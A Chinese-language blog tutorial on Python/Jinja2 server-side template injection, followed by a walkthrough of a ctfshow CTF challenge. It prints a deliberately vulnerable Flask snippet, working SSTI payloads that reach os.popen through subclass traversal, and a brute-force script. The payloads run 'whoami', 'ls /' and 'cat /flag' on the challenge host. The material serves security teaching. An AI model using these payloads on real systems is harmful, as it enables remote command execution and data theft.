SSTI模板注入漏洞讲解
创始人
2025-05-29 10:41:45
0

SSTI模板注入

SSTI的概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。

SSTI漏洞原理

什么是模板

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

漏洞原理

服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

以下面一段python代码为例:

from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/test")
def index():name = request.args.get('name')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

在这里插入图片描述
可以看到服务端的逻辑是接收前端输入的name参数,然后将其在后端拼接成"hello "+name的形式再返回给前端展示。可以看到当我们输入参数name=world的时候,前端展示出hello world的页面。

但是当我们输入name={{7*7}}的时候,页面展示的却不是hello {{7*7}}而是hello 49。
在这里插入图片描述
这是因为在模板中{{}}在模板中的作用是用来将表达式打印到模板输出。常见的还有{%…%}和{#…#}。

{% ... %} 用来声明变量或控制结构
{{ ... }} 用来将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释在模板注入中,我们常用的是{{}} 和 {%%}

检测是否存在模板注入

检测是否存在SSTI模板注入的方法就是在参数添加或者url后面添加{{7*7}},如果页面返回了7*7的结果49,即可证明存在模板注入漏洞。

一般的注入流程

在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令

1、获得内置类对应的类

''.__class__
().__class__
[].__class__
"".__class____class__可以获得内置类所对应的类

在这里插入图片描述

2、获得object基类

''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]__base__获得最高的父类
__mro__获得所有的父类

在这里插入图片描述

3、获得所有子类

''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()__subclasses__()获得所有的子类

在这里插入图片描述

4、获得可以执行shell命令的子类

我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:

num = 0
for item in ''.__class__.__base__.__subclasses__():try:if 'popen' in item.__init__.__globals__:print(num, item)num += 1except:num += 1# __init__.__globals__可以获得类中的所有变量和方法

在这里插入图片描述
可以看到该子类的索引值为118。
注意根据python版本的不同或者flask、jinjia2的版本不同,子类的索引值也可能会随之不同!!!

5、找到该子类可以执行shell命令的方法

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']__init__.__globals__可以获得类中所有的变量以及方法

在这里插入图片描述

6、执行shell命令

我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()

在这里插入图片描述

这就是我们利用SSTI漏洞的一个基本流程。

例题展示-ctfshow web入门361

在这里插入图片描述
点击题目链接。
在这里插入图片描述

1、判断是否存在SSTI模板注入漏洞

由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下。
在这里插入图片描述
可以看到world被输出。
接下我们开始测试该站是否存在SSTI漏洞。
我们输入name={{7*7}}看页面是否输出49?
在这里插入图片描述
可以看到页面输出了49,代表存在SSTI模板注入漏洞。

2、获得内置类所对应的类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__}}

在这里插入图片描述

3、获得object基类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}

在这里插入图片描述

4、获得所有子类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}

在这里插入图片描述

5、获得可以执行shell命令的子类

由于该网站的python版本以及模板引擎的版本可能与我们本地测试的版本不一样,所以我们不能使用本地测试所得到可以执行shell命令子类的索引值。

这样我们可以通过一段python脚本来判断可以执行shell命令子类的索引值。

我们以子类是否存在popen方法为例:
脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。

import requestsfor num in range(500):try:url = "http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"res = requests.get(url=url).textif 'popen' in res:print(num)except:pass

在这里插入图片描述
成功找到索引值。

6、执行shell命令

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

在这里插入图片描述
执行命令成功,成功列出根目录内容。
接下来就是获取flag了。

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

在这里插入图片描述
成功拿到flag值。

总结

SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。

我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。

类似文章:https://www.cnblogs.com/bmjoker/p/13508538.html

相关内容

热门资讯

http,web问题总汇 前端需要注意哪些SEO SEO,意思是 搜索引擎优化。目的是让搜索引擎的爬虫更容易收集到你网站的内容...
诗歌中常见的表现手法 诗歌中常见的表现手法  表现手法也可称为表现方法,凡是能使文章整体或部分产生鲜明强烈的印象,达到感染...
湿滑沟通,你值得拥有 “知止而后有定,定而后能静,静而后能安,安而后能虑...
现代爱国诗歌 我是你河边上破旧的老水车,数百年来纺着疲惫的歌; 出自舒婷《祖国啊,我亲爱的祖国》。以下是小编为大家...
如果你还在爱情诗歌 如果你还在爱情诗歌  还记得那一年  羞涩的脸总出现在你眼前  还记得那一年  树叶落了整个秋天  ...
苍松现代诗歌 苍松现代诗歌  挺拔屹立的苍松  你仰天长叹  诉说生生死死循环  当白云掠过你的肩头  当鸿雁捎走...
C语言深度解剖 C语言深度解剖 1. 关键字 标准C语言,c89 中共有32个关键字,c...
打开的时光之书诗歌 打开的时光之书诗歌  (一)  一梦花开便让时光在回味中悠然,清霜微薰枫叶便在你的眸里羞红。  庭院...
经典的诗歌 经典的诗歌  在我们平凡的日常里,大家都经常接触到诗歌吧,诗歌在形式上,不是以句子为单位,而是以行为...
适合女生朗诵的诗歌 适合女生朗诵的诗歌(精选20篇)  在日常学习、工作和生活中,大家都知道一些经典的诗歌吧,诗歌是按照...
现代诗歌的格式 现代诗歌的格式  在日复一日的学习、工作或生活中,大家一定没少看到经典的诗歌吧,诗歌具有语言高度凝练...
Java中的集合 1 Java的集合 1 首先要知道集合是什么,基于现代汉语词典给定的定义: ...
ChatGPT-4.0 : 未... 文章目录前言ChatGPT 3.5 介绍ChatGPT 4.0 介绍ChatGPT -4出逃计划&#...
好听又励志的英文歌曲 好听又励志的英文歌曲  一、听唱英文歌曲的好处  听唱英文歌曲是一个轻松有效、被大量推荐的英文学习方...
经典的现代诗歌(精选)5篇 在学习、工作或生活中,大家都看到过许多经典的诗歌吧,诗歌具有精炼、集中,节奏鲜明,富有韵律的特点。还...
爱国的诗歌朗诵稿 爱国的诗歌朗诵稿7篇  在日复一日的学习、工作或生活中,许多人对一些广为流传的诗歌都不陌生吧,诗歌在...
汪国真经典现代诗歌《走向远方... 汪国真经典现代诗歌《走向远方》  《走向远方》这是一首寓意深刻,哲理深透的诗歌。给我们的启迪是深远的...
21根火柴游戏【C语言实现】 题目 21根火柴游戏。现有21根火柴,两人轮流取,每人每次可以取1至4根...
debian部署docker(... 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮...
代码随想录之回溯(力扣题号) 77 组合 改了非常非常非常久!!不知道为什么用set去重就是没成功。...